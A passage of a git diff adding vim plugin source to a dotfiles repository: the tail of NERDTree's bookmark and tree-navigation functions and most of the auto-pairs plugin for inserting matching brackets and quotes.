openBookmark('') + command! -buffer -complete=customlist,s:completeBookmarks -nargs=* ClearBookmarks call clearBookmarks('') + command! -buffer -complete=customlist,s:completeBookmarks -nargs=+ BookmarkToRoot call s:Bookmark.ToRoot('') + command! -buffer -nargs=0 ClearAllBookmarks call s:Bookmark.ClearAll() call renderView() + command! -buffer -nargs=0 ReadBookmarks call s:Bookmark.CacheBookmarks(0) call renderView() + command! -buffer -nargs=0 WriteBookmarks call s:Bookmark.Write() +endfunction + +" FUNCTION: s:bookmarkNode(name) {{{2 +" Associate the current node with the given name +function! s:bookmarkNode(...) + let currentNode = s:TreeFileNode.GetSelected() + if currentNode != {} + let name = a:1 + if empty(name) + let name = currentNode.path.getLastPathComponent(0) + endif + try + call currentNode.bookmark(name) + call s:renderView() + catch /^NERDTree.IllegalBookmarkNameError/ + call s:echo("bookmark names must not contain spaces") + endtry + else + call s:echo("select a node first") + endif +endfunction +"FUNCTION: s:checkForActivate() {{{2 +"Checks if the click should open the current node, if so then activate() is +"called (directories are automatically opened if the symbol beside them is +"clicked) +function! s:checkForActivate() + let currentNode = s:TreeFileNode.GetSelected() + if currentNode != {} + let startToCur = strpart(getline(line(".")), 0, col(".")) + + if currentNode.path.isDirectory + if startToCur =~# s:tree_markup_reg . '$' && startToCur =~# '[+~▾▸]$' + call s:activateNode(0) + return + endif + endif + + if (g:NERDTreeMouseMode ==# 2 && currentNode.path.isDirectory) || g:NERDTreeMouseMode ==# 3 + let char = strpart(startToCur, strlen(startToCur)-1, 1) + if char !~# s:tree_markup_reg + call s:activateNode(0) + return + endif + endif + endif +endfunction + +" FUNCTION: s:chCwd() {{{2 +function! s:chCwd() + let treenode = s:TreeFileNode.GetSelected() + if treenode ==# {} + call s:echo("Select a node first") + return + endif + + try + call treenode.path.changeToDir() + catch /^NERDTree.PathChangeError/ + call s:echoWarning("could not change cwd") + endtry +endfunction + +" FUNCTION: s:chRoot() {{{2 +" changes the current root to the selected one +function! s:chRoot() + let treenode = s:TreeFileNode.GetSelected() + if treenode ==# {} + call s:echo("Select a node first") + return + endif + + call treenode.makeRoot() + call s:renderView() + call b:NERDTreeRoot.putCursorHere(0, 0) +endfunction + +" FUNCTION: s:clearBookmarks(bookmarks) {{{2 +function! s:clearBookmarks(bookmarks) + if a:bookmarks ==# '' + let currentNode = s:TreeFileNode.GetSelected() + if currentNode != {} + call currentNode.clearBoomarks() + endif + else + for name in split(a:bookmarks, ' ') + let bookmark = s:Bookmark.BookmarkFor(name) + call bookmark.delete() + endfor + endif + call s:renderView() +endfunction +" FUNCTION: s:closeChildren() {{{2 +" closes all childnodes of the current node +function! s:closeChildren() + let currentNode = s:TreeDirNode.GetSelected() + if currentNode ==# {} + call s:echo("Select a node first") + return + endif + + call currentNode.closeChildren() + call s:renderView() + call currentNode.putCursorHere(0, 0) +endfunction +" FUNCTION: s:closeCurrentDir() {{{2 +" closes the parent dir of the current node +function! s:closeCurrentDir() + let treenode = s:TreeFileNode.GetSelected() + if treenode ==# {} + call s:echo("Select a node first") + return + endif + + let parent = treenode.parent + if parent ==# {} || parent.isRoot() + call s:echo("cannot close tree root") + else + call treenode.parent.close() + call s:renderView() + call treenode.parent.putCursorHere(0, 0) + endif +endfunction +" FUNCTION: s:closeTreeWindow() {{{2 +" close the tree window +function! s:closeTreeWindow() + if b:NERDTreeType ==# "secondary" && b:NERDTreePreviousBuf != -1 + exec "buffer " . b:NERDTreePreviousBuf + else + if winnr("$") > 1 + call s:closeTree() + else + call s:echo("Cannot close last window") + endif + endif +endfunction +" FUNCTION: s:deleteBookmark() {{{2 +" if the cursor is on a bookmark, prompt to delete +function! s:deleteBookmark() + let bookmark = s:Bookmark.GetSelected() + if bookmark ==# {} + call s:echo("Put the cursor on a bookmark") + return + endif + + echo "Are you sure you wish to delete the bookmark:\n\"" . bookmark.name . "\" (yN):" + + if nr2char(getchar()) ==# 'y' + try + call bookmark.delete() + call s:renderView() + redraw + catch /^NERDTree/ + call s:echoWarning("Could not remove bookmark") + endtry + else + call s:echo("delete aborted" ) + endif + +endfunction + +" FUNCTION: s:displayHelp() {{{2 +" toggles the help display +function! s:displayHelp() + let b:treeShowHelp = b:treeShowHelp ? 0 : 1 + call s:renderView() + call s:centerView() +endfunction + +" FUNCTION: s:handleMiddleMouse() {{{2 +function! s:handleMiddleMouse() + let curNode = s:TreeFileNode.GetSelected() + if curNode ==# {} + call s:echo("Put the cursor on a node first" ) + return + endif + + if curNode.path.isDirectory + call s:openExplorer() + else + call s:openEntrySplit(0,0) + endif +endfunction + + +" FUNCTION: s:jumpToFirstChild() {{{2 +" wrapper for the jump to child method +function! s:jumpToFirstChild() + call s:jumpToChild(0) +endfunction + +" FUNCTION: s:jumpToLastChild() {{{2 +" wrapper for the jump to child method +function! s:jumpToLastChild() + call s:jumpToChild(1) +endfunction + +" FUNCTION: s:jumpToParent() {{{2 +" moves the cursor to the parent of the current node +function! s:jumpToParent() + let currentNode = s:TreeFileNode.GetSelected() + if !empty(currentNode) + if !empty(currentNode.parent) + call currentNode.parent.putCursorHere(1, 0) + call s:centerView() + else + call s:echo("cannot jump to parent") + endif + else + call s:echo("put the cursor on a node first") + endif +endfunction + +" FUNCTION: s:jumpToRoot() {{{2 +" moves the cursor to the root node +function! s:jumpToRoot() + call b:NERDTreeRoot.putCursorHere(1, 0) + call s:centerView() +endfunction + +" FUNCTION: s:jumpToSibling() {{{2 +" moves the cursor to the sibling of the current node in the given direction +" +" Args: +" forward: 1 if the cursor should move to the next sibling, 0 if it should +" move back to the previous sibling +function! s:jumpToSibling(forward) + let currentNode = s:TreeFileNode.GetSelected() + if !empty(currentNode) + let sibling = currentNode.findSibling(a:forward) + + if !empty(sibling) + call sibling.putCursorHere(1, 0) + call s:centerView() + endif + else + call s:echo("put the cursor on a node first") + endif +endfunction + +" FUNCTION: s:openBookmark(name) {{{2 +" put the cursor on the given bookmark and, if its a file, open it +function! s:openBookmark(name) + try + let targetNode = s:Bookmark.GetNodeForName(a:name, 0) + call targetNode.putCursorHere(0, 1) + redraw! + catch /^NERDTree.BookmarkedNodeNotFoundError/ + call s:echo("note - target node is not cached") + let bookmark = s:Bookmark.BookmarkFor(a:name) + let targetNode = s:TreeFileNode.New(bookmark.path) + endtry + if targetNode.path.isDirectory + call targetNode.openExplorer() + else + call targetNode.open() + endif +endfunction +" FUNCTION: s:openEntrySplit(vertical, forceKeepWindowOpen) {{{2 +"Opens the currently selected file from the explorer in a +"new window +" +"args: +"forceKeepWindowOpen - dont close the window even if NERDTreeQuitOnOpen is set +function! s:openEntrySplit(vertical, forceKeepWindowOpen) + let treenode = s:TreeFileNode.GetSelected() + if treenode != {} + if a:vertical + call treenode.openVSplit() + else + call treenode.openSplit() + endif + if !a:forceKeepWindowOpen + call s:closeTreeIfQuitOnOpen() + endif + else + call s:echo("select a node first") + endif +endfunction + +" FUNCTION: s:openExplorer() {{{2 +function! s:openExplorer() + let treenode = s:TreeDirNode.GetSelected() + if treenode != {} + call treenode.openExplorer() + else + call s:echo("select a node first") + endif +endfunction + +" FUNCTION: s:openInNewTab(stayCurrentTab) {{{2 +" Opens the selected node or bookmark in a new tab +" Args: +" stayCurrentTab: if 1 then vim will stay in the current tab, if 0 then vim +" will go to the tab where the new file is opened +function! s:openInNewTab(stayCurrentTab) + let target = s:TreeFileNode.GetSelected() + if target == {} + let target = s:Bookmark.GetSelected() + endif + + if target != {} + call target.openInNewTab({'stayInCurrentTab': a:stayCurrentTab}) + endif +endfunction + +" FUNCTION: s:openNodeRecursively() {{{2 +function! s:openNodeRecursively() + let treenode = s:TreeFileNode.GetSelected() + if treenode ==# {} || treenode.path.isDirectory ==# 0 + call s:echo("Select a directory node first" ) + else + call s:echo("Recursively opening node. Please wait...") + call treenode.openRecursively() + call s:renderView() + redraw + call s:echo("Recursively opening node. Please wait... DONE") + endif + +endfunction + +"FUNCTION: s:previewNode() {{{2 +"Args: +" openNewWin: if 0, use the previous window, if 1 open in new split, if 2 +" open in a vsplit +function! s:previewNode(openNewWin) + let currentBuf = bufnr("") + if a:openNewWin > 0 + call s:openEntrySplit(a:openNewWin ==# 2,1) + else + call s:activateNode(1) + end + call s:exec(bufwinnr(currentBuf) . "wincmd w") +endfunction + +" FUNCTION: s:revealBookmark(name) {{{2 +" put the cursor on the node associate with the given name +function! s:revealBookmark(name) + try + let targetNode = s:Bookmark.GetNodeForName(a:name, 0) + call targetNode.putCursorHere(0, 1) + catch /^NERDTree.BookmarkNotFoundError/ + call s:echo("Bookmark isnt cached under the current root") + endtry +endfunction +" FUNCTION: s:refreshRoot() {{{2 +" Reloads the current root. All nodes below this will be lost and the root dir +" will be reloaded. +function! s:refreshRoot() + call s:echo("Refreshing the root node. This could take a while...") + call b:NERDTreeRoot.refresh() + call s:renderView() + redraw + call s:echo("Refreshing the root node. This could take a while... DONE") +endfunction + +" FUNCTION: s:refreshCurrent() {{{2 +" refreshes the root for the current node +function! s:refreshCurrent() + let treenode = s:TreeDirNode.GetSelected() + if treenode ==# {} + call s:echo("Refresh failed. Select a node first") + return + endif + + call s:echo("Refreshing node. This could take a while...") + call treenode.refresh() + call s:renderView() + redraw + call s:echo("Refreshing node. This could take a while... DONE") +endfunction +" FUNCTION: s:showMenu() {{{2 +function! s:showMenu() + let curNode = s:TreeFileNode.GetSelected() + if curNode ==# {} + call s:echo("Put the cursor on a node first" ) + return + endif + + let mc = s:MenuController.New(s:MenuItem.AllEnabled()) + call mc.showMenu() +endfunction + +" FUNCTION: s:toggleIgnoreFilter() {{{2 +" toggles the use of the NERDTreeIgnore option +function! s:toggleIgnoreFilter() + let b:NERDTreeIgnoreEnabled = !b:NERDTreeIgnoreEnabled + call s:renderViewSavingPosition() + call s:centerView() +endfunction + +" FUNCTION: s:toggleShowBookmarks() {{{2 +" toggles the display of bookmarks +function! s:toggleShowBookmarks() + let b:NERDTreeShowBookmarks = !b:NERDTreeShowBookmarks + if b:NERDTreeShowBookmarks + call s:renderView() + call s:putCursorOnBookmarkTable() + else + call s:renderViewSavingPosition() + endif + call s:centerView() +endfunction +" FUNCTION: s:toggleShowFiles() {{{2 +" toggles the display of hidden files +function! s:toggleShowFiles() + let b:NERDTreeShowFiles = !b:NERDTreeShowFiles + call s:renderViewSavingPosition() + call s:centerView() +endfunction + +" FUNCTION: s:toggleShowHidden() {{{2 +" toggles the display of hidden files +function! s:toggleShowHidden() + let b:NERDTreeShowHidden = !b:NERDTreeShowHidden + call s:renderViewSavingPosition() + call s:centerView() +endfunction + +" FUNCTION: s:toggleZoom() {{2 +" zoom (maximize/minimize) the NERDTree window +function! s:toggleZoom() + if exists("b:NERDTreeZoomed") && b:NERDTreeZoomed + let size = exists("b:NERDTreeOldWindowSize") ? b:NERDTreeOldWindowSize : g:NERDTreeWinSize + exec "silent vertical resize ". size + let b:NERDTreeZoomed = 0 + else + exec "vertical resize" + let b:NERDTreeZoomed = 1 + endif +endfunction + +"FUNCTION: s:upDir(keepState) {{{2 +"moves the tree up a level +" +"Args: +"keepState: 1 if the current root should be left open when the tree is +"re-rendered +function! s:upDir(keepState) + let cwd = b:NERDTreeRoot.path.str({'format': 'UI'}) + if cwd ==# "/" || cwd =~# '^[^/]..$' + call s:echo("already at top dir") + else + if !a:keepState + call b:NERDTreeRoot.close() + endif + + let oldRoot = b:NERDTreeRoot + + if empty(b:NERDTreeRoot.parent) + let path = b:NERDTreeRoot.path.getParent() + let newRoot = s:TreeDirNode.New(path) + call newRoot.open() + call newRoot.transplantChild(b:NERDTreeRoot) + let b:NERDTreeRoot = newRoot + else + let b:NERDTreeRoot = b:NERDTreeRoot.parent + endif + + if g:NERDTreeChDirMode ==# 2 + call b:NERDTreeRoot.path.changeToDir() + endif + + call s:renderView() + call oldRoot.putCursorHere(0, 0) + endif +endfunction + + +"reset &cpo back to users setting +let &cpo = s:old_cpo + +" vim: set sw=4 sts=4 et fdm=marker: diff --git a/vim/.vim/plugin/auto-pairs.vim b/vim/.vim/plugin/auto-pairs.vim new file mode 100644 index 00000000..33851909 --- /dev/null +++ b/vim/.vim/plugin/auto-pairs.vim @@ -0,0 +1,407 @@ +" Insert or delete brackets, parens, quotes in pairs. +" Maintainer: JiangMiao +" Contributor: camthompson +" Last Change: 2012-07-15 +" Version: 1.2.3 +" Homepage: http://www.vim.org/scripts/script.php?script_id=3599 +" Repository: https://github.com/jiangmiao/auto-pairs + +if exists('g:AutoPairsLoaded') || &cp + finish +end +let g:AutoPairsLoaded = 1 + +if !exists('g:AutoPairs') + let g:AutoPairs = {'(':')', '[':']', '{':'}',"'":"'",'"':'"', '`':'`'} +end + +if !exists('g:AutoPairsParens') + let g:AutoPairsParens = {'(':')', '[':']', '{':'}'} +end + +let g:AutoExtraPairs = copy(g:AutoPairs) +let g:AutoExtraPairs['<'] = '>' + +if !exists('g:AutoPairsMapBS') + let g:AutoPairsMapBS = 1 +end + +if !exists('g:AutoPairsMapCR') + let g:AutoPairsMapCR = 1 +end + +if !exists('g:AutoPairsMapSpace') + let g:AutoPairsMapSpace = 1 +end + +if !exists('g:AutoPairsCenterLine') + let g:AutoPairsCenterLine = 1 +end + +if !exists('g:AutoPairsShortcutToggle') + let g:AutoPairsShortcutToggle = '' +end + +if !exists('g:AutoPairsShortcutFastWrap') + let g:AutoPairsShortcutFastWrap = '' +end + +if !exists('g:AutoPairsShortcutJump') + let g:AutoPairsShortcutJump = '' +endif + +" Fly mode will for closed pair to jump to closed pair instead of insert. +" also support AutoPairsBackInsert to insert pairs where jumped. +if !exists('g:AutoPairsFlyMode') + let g:AutoPairsFlyMode = 0 +endif + +" Work with Fly Mode, insert pair where jumped +if !exists('g:AutoPairsShortcutBackInsert') + let g:AutoPairsShortcutBackInsert = '' +endif + + +" Will auto generated {']' => '[', ..., '}' => '{'}in initialize. +let g:AutoPairsClosedPairs = {} + + +function! AutoPairsInsert(key) + if !b:autopairs_enabled + return a:key + end + + let line = getline('.') + let prev_char = line[col('.')-2] + let current_char = line[col('.')-1] + let next_char = line[col('.')] + + let eol = 0 + if col('$') - col('.') <= 1 + let eol = 1 + end + + " Ignore auto close if prev character is \ + if prev_char == '\' + return a:key + end + + " The key is difference open-pair, then it means only for ) ] } by default + if !has_key(g:AutoPairs, a:key) + let b:autopairs_saved_pair = [a:key, getpos('.')] + + " Skip the character if current character is the same as input + if current_char == a:key + return "\" + end + + if !g:AutoPairsFlyMode + " Skip the character if next character is space + if current_char == ' ' && next_char == a:key + return "\\" + end + + " Skip the character if closed pair is next character + if current_char == '' + let next_lineno = line('.')+1 + let next_line = getline(nextnonblank(next_lineno)) + let next_char = matchstr(next_line, '\s*\zs.') + if next_char == a:key + return "\e^a" + endif + endif + endif + + " Fly Mode, and the key is closed-pairs, search closed-pair and jump + if g:AutoPairsFlyMode && has_key(g:AutoPairsClosedPairs, a:key) + if search(a:key, 'W') + return "\" + endif + endif + + " Input directly if the key is not an open key + return a:key + end + + let open = a:key + let close = g:AutoPairs[open] + + if current_char == close && open == close + return "\" + end + + " Ignore auto close ' if follows a word + " MUST after closed check. 'hello|' + if a:key == "'" && prev_char =~ '\v\w' + return a:key + end + + " support for ''' ``` and """ + if open == close + " The key must be ' " ` + let pprev_char = line[col('.')-3] + if pprev_char == open && prev_char == open + " Double pair found + return a:key + end + end + + return open.close."\" +endfunction + +function! AutoPairsDelete() + let line = getline('.') + let current_char = line[col('.')-1] + let prev_char = line[col('.')-2] + let pprev_char = line[col('.')-3] + + if pprev_char == '\' + return "\" + end + + " Delete last two spaces in parens, work with MapSpace + if has_key(g:AutoPairs, pprev_char) && prev_char == ' ' && current_char == ' ' + return "\\" + endif + + if has_key(g:AutoPairs, prev_char) + let close = g:AutoPairs[prev_char] + if match(line,'^\s*'.close, col('.')-1) != -1 + let space = matchstr(line, '^\s*', col('.')-1) + return "\". repeat("\", len(space)+1) + else + let nline = getline(line('.')+1) + if nline =~ '^\s*'.close + let space = matchstr(nline, '^\s*') + return "\\". repeat("\", len(space)+1) + end + end + end + + return "\" +endfunction + +function! AutoPairsJump() + call search('["\]'')}]','W') +endfunction +" string_chunk cannot use standalone +let s:string_chunk = '\v%(\\\_.|[^\1]|[\r\n]){-}' +let s:ss_pattern = '\v''' . s:string_chunk . '''' +let s:ds_pattern = '\v"' . s:string_chunk . '"' + +func! s:RegexpQuote(str) + return substitute(a:str, '\v[\[\{\(\<\>\)\}\]]', '\\&', 'g') +endf + +func! s:RegexpQuoteInSquare(str) + return substitute(a:str, '\v[\[\]]', '\\&', 'g') +endf + +" Search next open or close pair +func! s:FormatChunk(open, close) + let open = s:RegexpQuote(a:open) + let close = s:RegexpQuote(a:close) + let open2 = s:RegexpQuoteInSquare(a:open) + let close2 = s:RegexpQuoteInSquare(a:close) + if open == close + return '\v'.open.s:string_chunk.close + else + return '\v%(' . s:ss_pattern . '|' . s:ds_pattern . '|' . '[^'.open2.close2.']|[\r\n]' . '){-}(['.open2.close2.'])' + end +endf + +" Fast wrap the word in brackets +function! AutoPairsFastWrap() + let line = getline('.') + let current_char = line[col('.')-1] + let next_char = line[col('.')] + let open_pair_pattern = '\v[({\[''"]' + let at_end = col('.') >= col('$') - 1 + normal x + " Skip blank + if next_char =~ '\v\s' || at_end + call search('\v\S', 'W') + let line = getline('.') + let next_char = line[col('.')-1] + end + + if has_key(g:AutoPairs, next_char) + let followed_open_pair = next_char + let inputed_close_pair = current_char + let followed_close_pair = g:AutoPairs[next_char] + if followed_close_pair != followed_open_pair + " TODO replace system searchpair to skip string and nested pair. + " eg: (|){"hello}world"} will transform to ({"hello})world"} + call searchpair('\V'.followed_open_pair, '', '\V'.followed_close_pair, 'W') + else + call search(s:FormatChunk(followed_open_pair, followed_close_pair), 'We') + end + return "\".inputed_close_pair."\" + else + normal e + return "\".current_char."\" + end +endfunction + +function! AutoPairsMap(key) + let escaped_key = substitute(a:key, "'", "''", 'g') + " use expr will cause search() doesn't work + execute 'inoremap '.a:key." =AutoPairsInsert('".escaped_key."')" +endfunction + +function! AutoPairsToggle() + if b:autopairs_enabled + let b:autopairs_enabled = 0 + echo 'AutoPairs Disabled.' + else + let b:autopairs_enabled = 1 + echo 'AutoPairs Enabled.' + end + return '' +endfunction + +function! AutoPairsReturn() + let line = getline('.') + let pline = getline(line('.')-1) + let prev_char = pline[strlen(pline)-1] + let cmd = '' + let cur_char = line[col('.')-1] + if has_key(g:AutoPairs, prev_char) && g:AutoPairs[prev_char] == cur_char + if g:AutoPairsCenterLine && winline() * 1.5 >= winheight(0) + let cmd = " \zz\cl" + end + " conflict with javascript and coffee + " javascript need indent new line + " coffeescript forbid indent new line + if &filetype == 'coffeescript' || &filetype == 'coffee' + return "\k==o".cmd + else + return "\=ko".cmd + endif + end + return '' +endfunction + +function! AutoPairsSpace() + let line = getline('.') + let prev_char = line[col('.')-2] + let cmd = '' + let cur_char =line[col('.')-1] + if has_key(g:AutoPairsParens, prev_char) && g:AutoPairsParens[prev_char] == cur_char + let cmd = "\\" + endif + return "\".cmd +endfunction + +function! AutoPairsBackInsert() + if exists('b:autopairs_saved_pair') + let pair = b:autopairs_saved_pair[0] + let pos = b:autopairs_saved_pair[1] + call setpos('.', pos) + return pair + endif + return '' +endfunction + +function! AutoPairsInit() + let b:autopairs_loaded = 1 + let b:autopairs_enabled = 1 + + " buffer level map pairs keys + for [open, close] in items(g:AutoPairs) + call AutoPairsMap(open) + if open != close + call AutoPairsMap(close) + end + let g:AutoPairsClosedPairs[close] = open + endfor + + " Still use level mapping for + if g:AutoPairsMapBS + " Use instead of for issue #14 sometimes press BS output strange words + execute 'inoremap =AutoPairsDelete()' + end + + if g:AutoPairsMapSpace + execute 'inoremap =AutoPairsSpace()' + end + + if g:AutoPairsShortcutFastWrap != '' + execute 'inoremap '.g:AutoPairsShortcutFastWrap.' =AutoPairsFastWrap()' + end + + if g:AutoPairsShortcutBackInsert != '' + execute 'inoremap '.g:AutoPairsShortcutBackInsert.' =AutoPairsBackInsert()' + end + + if g:AutoPairsShortcutToggle != '' + " use to ensure showing the status when toggle + execute 'inoremap '.g:AutoPairsShortcutToggle.' AutoPairsToggle()' + execute 'noremap '.g:AutoPairsShortcutToggle.' :call AutoPairsToggle()' + end + + if g:AutoPairsShortcutJump != '' + execute 'inoremap ' . g:AutoPairsShortcutJump. ' :call AutoPairsJump()a' + execute 'noremap ' . g:AutoPairsShortcutJump. ' :call AutoPairsJump()' + end + +endfunction + +function! s:ExpandMap(map) + let map = a:map + if map =~ '' + let map = substitute(map, '\(\w\+\)', '\=maparg(submatch(1), "i")', 'g') + endif + return map +endfunction + +function! AutoPairsForceInit() + if exists('b:autopairs_loaded') + return + end + " for auto-pairs starts with 'a', so the priority is higher than supertab and vim-endwise + " + " vim-endwise doesn't support AutoPairsReturn + " when use AutoPairsReturn will cause isn't expanded + " + " supertab doesn't support AutoPairsReturn + " when use AutoPairsReturn will cause Duplicated + " + " and when load after vim-endwise will cause unexpected endwise inserted. + " so always load AutoPairs at last + + " Buffer level keys mapping + " comptible with other plugin + if g:AutoPairsMapCR + let old_cr = maparg('', 'i') + if old_cr == '' + let old_cr = '' + else + let old_cr = s:ExpandMap(old_cr) + endif + + " compatible with clang_complete + " https://github.com/jiangmiao/auto-pairs/issues/18 + let pattern = '\d\+_HandlePossibleSelectionEnter()' + if old_cr =~ pattern + execute 'imap